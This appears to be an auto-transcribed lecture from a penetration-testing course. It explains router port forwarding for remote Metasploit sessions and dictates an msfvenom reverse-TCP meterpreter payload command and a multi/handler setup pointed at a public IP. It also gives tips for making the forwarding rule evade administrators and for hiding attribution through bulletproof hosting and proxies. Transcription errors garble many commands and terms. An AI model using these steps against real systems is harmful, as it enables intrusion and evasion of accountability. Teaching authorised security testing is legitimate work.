Welcome to part seven of this module.
It's time to talk about port forwarding.
Up until now all of these demonstrations have been assuming that you are conducting your activities
with met split on the same network as your target or targets.
I can imagine this may have been frustrating to some of you who might be thinking this whole technique
is useless as a form of remote penetration testing.
But fear not.
All we really need to do is set up port forwarding on our router once this is done we'll be able to
setup our payloads using our real IP address instead of our network IP when the payload sends a signal
to our IP and the port that we specify a router is going to forward that connection directly to the
computer that we're running met a split on depending on your background.
What I just said might seem very cut and dry or terribly confusing.
So for the benefit of the less experienced I will elaborate.
Until now we've been using network IP addresses in everything that we've been doing in the videos.
This has looked like 10 0 0 dot 3 or 10 0 0 0 about 20 or whatever your own network eyepiece might look
like this.
Or perhaps they look like one ninety two 0 0 dot 8 or something of that nature.
Regardless of how your network configuration is set up these are local addresses.
If you were not connected to the same router the address tend 0.01 3 would have a completely different
meaning you would not be able for example to hack into a computer on your home network.
If you are connected to your office network you need to use the public IP address that corresponds to
your router.
If you want things to perform over the Internet.
This is where port forwarding comes into play.
Let's say that our public IP address is 72 dot 126 dot 7 dot 186 and our network address is going to
be 10 dot 0 0 dot 6.
This is just an example.
If we want our payload to open up a mature operator session across the Internet say again from our home
computer to our office computer or vice versa we need to give the payload the IP address 72 dot 126
dot 7 dot 186 which in this example is our public IP.
Then the payload is going to try to connect to our router using whatever port we specified when we set
up the payload which in our previous example was I believe 444 without port forwarding being set up
our router is just going to look at that request for a connection and go nope it will reject it or more
accurately it just won't go anywhere.
All we have to do is go into our router settings and tell our router to send any connections coming
in on Port 444 to our met a split computer which again in this example is going to be tender 0 0 6.
Unfortunately every single router out there is different.
The technique for doing this is going to be similar but obviously I can't show this process for every
different router brand in existence.
You may have to do a little research on your own and look up the router brand for specific instructions
if you aren't able to readily spot the port forwarding tab in your advanced settings because it is an
extremely common router.
I'm going to be using a Comcast X affinity gateway for this demonstration.
This is the combination modem Wi-Fi router that most customers leased from Comcast as part of their
internet package.
Please understand that I am not endorsing this router choice or this service I chose it because it is
highly common in my area of the world and should make for a suitable demonstration.
So we're going to open up our browser of choice and we need to navigate to our router using our network
IP address of the router.
In this case that's going to be h TTP colon forward slash forward slash 10 0 0 adult 1 and this should
bring us to the router log in page.
Now again yours might be slightly different.
For example it might be one 92 dot 0 0 dot one please look up the individual router brand and look up
instructions on how to log in.
If you have any problems it shouldn't be too difficult.
At any rate once you put in the routers IP address you should be presented with a page that looks something
like this.
These are required log in credentials to access your router if you've changed these you'll need to supply
whatever user name and password that you set.
If you did not change them then they should be the default and the default is going to vary from router
to router.
In this case it's going to be admin for the user name and password all lowercase for a password.
Some writers have admin ad men or something like that again finding the default log in for your router
branch should be as easy as a single Internet search.
But if you set the password and now you can't remember that password you may need to perform a router
reset but doing so is outside of the scope of this particular tutorial.
Once logged into the gateway we can now adjust the settings.
So the first thing that we need to do is click on this advanced tab and click on port forwarding and
then we need to make sure that port forwarding is enabled and that this button appears in green.
If the disabled button appears in a red and enabled IS NOT GREEN We need to press the enabled button
to allow port forwarding once we're very sure that port forwarding is enabled we can come over here
to the add services button and click on it.
After doing that we're going to be brought to a page that looks like this again the exact appearance
and layout will vary from router to router but it shouldn't be wildly different.
Now I want to point out that we're going to have the option to specify what service we want to set up
in this first dragged down menu.
This is good to know of course but for our purposes right now we will be just fine leaving the selection
as other under the service name.
You can call it whatever you want in this demonstration.
I'll be using met a split but if you were setting this up on an office router or something as part of
a penetration test you'd probably want to give it a more legitimate sounding name.
A good system administrator is going to spot it regardless.
As any ad been worth their salt should know exactly which port forwarding exceptions exist on their
own network but unless security is tight it's not likely to be checked all that often so it may evade
notice for a little while for the service type.
We have the option of both TGP and UDP TGP or UDP again for our purposes we'll just set it to both TPP
and UDP.
Now this next step is actually the most important.
We need to specify the network address of our met a split machine.
If you don't know what this is just type i f config in this case it's going to be 10 down 0 0 6 yours
will vary if you're on a Windows P.C. the command would be IP config by the way.
And if all else fails you can always go over to the connected devices on your router and sport VPC that
you want to use and get the IP that way.
So what this does is it tells the router that any incoming connections on the specified ports are going
to be forwarded directly to or met a split machine at that specific network address.
If we do this wrong the incoming connections simply won't reach where we want them to go.
Finally we have the option to specify a range of ports that we wish forwarded we could for example type
4000 as the starting port and 5000 as the end port.
This would mean that any connection using ports 4000 to 5000 or anything in between would be forwarded.
We can also specify a specific port in this case 4 4 4 by filling that into both the boxes assuming
of course that that's the port we're choosing to use for a metal split payloads.
Now I should add that some router brands particularly older brands will require you to set each individual
port.
Exception.
One at a time you may not have a start port and an end port option.
Once done click the Add button and you should see your newly created exception in the list.
Now will flip back to MSF console and we'll go ahead and create a payload using MSF venom exactly as
we did before to create image turpitude reversed.
CCP session with the target that we wish to hack.
The procedure is exactly the same except that instead of supplying our network IP we will be supplying
our public IP.
The command structure should look pretty familiar by now but all walk us through it.
MSF venom TAC P windows forward slash the trooper forward slash reverse DCP El host equals our public
IP address 73 dot 15 dot sixty nine dot 169 and our El port is going to remain for 44 TAC F B XY greater
than forward slash route forward slash desktop you can of course create this wherever you wish and I'm
going to call this forwarded e XY and this will generate the new payload which I've named forward EMC
for this demonstration and place it on our desktop again you've seen this all before.
The only difference in this step is that for the El host instead of using ten dot 0 0 at 6 we used our
public IP address which has created our new payload here on the desktop.
So once we've done that we need to setup our exploit settings so we're gonna do use forward slash multi
forward slash handler and there's going to be a slight difference in this process.
Again we're going to set the El host to our public IP
whoops as opposed to our network IP.
I think El host has to be capitalized
and we'll set the L port keep it the same.
You can set it to whatever you wish.
Show Options.
Very good and then we would type exploit.
And then once the payload is run the session will open as normal.
Even if the target is on a different network a thousand miles away.
OK.
So why is this a really bad idea well the payload is going to send a connection directly to the public
IP address that you give it.
This means that a network administrator or even the person using the infected computer could potentially
detect the open connection and trace it directly to you.
Your Internet service provider sees and logs all unencrypted traffic going to and from your computer.
This means that if you use your home IP address the connection can be traced right back to you and your
ISP will have a log of everything tid is that it can provide to the authorities even for someone who
is doing a lawful penetration test and has written permission to show the authorities they've they've
dotted every i and cross every T.
This can still be quite a headache.
Black hat hackers therefore do not use their own home IP address.
They perform their hacking activities from coffee shops or hacked networks that they have no personal
connection to.
That doesn't relate to their identity or more commonly through proxies.
A common technique for a hacker would be to purchase a small virtual private server in a foreign country
so-called bullet proof hosting our servers in countries outside of the hacker's jurisdiction that are
unlikely to cooperate with the demands of the hackers home country.
For example a hacker in the United States might purchase a virtual private server in Russia with the
idea that the Russian government is unlikely to force the company to hand over any records to the United
States government.
Given the relationship between the two nation states in any case the hacker would make their connection
to the service through the use of a virtual private network or Tor or a proxy chain or something like
that.
All of which we will be covering in an upcoming module.
They would pay using some anonymous method possibly Bitcoin or another crypto currency which many of
these services actually facilitate and encourage once the private server is up and running.
The hacker then uses it as a proxy connecting to it from an encrypted connection such as a VPN as has
been said Metis Floyd is run on the server rather than the home computer.
So any attempt to trace the IP would lead to the virtual private server.
In this case the proxy.
This is but one method that hackers use to cover their tracks.
All of this will be discussed at greater length soon and the subject of virtual private servers will
be elaborated on more when we get to bot nets.
For now just keep it in the back of your mind that using our home IP address even for lawful activities
is really a very bad idea and is likely to cause you many headaches as always be lawful.
Never use anything shown in this video or any other video against any target that you do not have written
permission from the owner to penetration test.
Be aware of the laws of your area and your country and follow them at all times.
Next we'll look at some additional payload types before moving on to Armitage.
Thank you and I'll see you next time.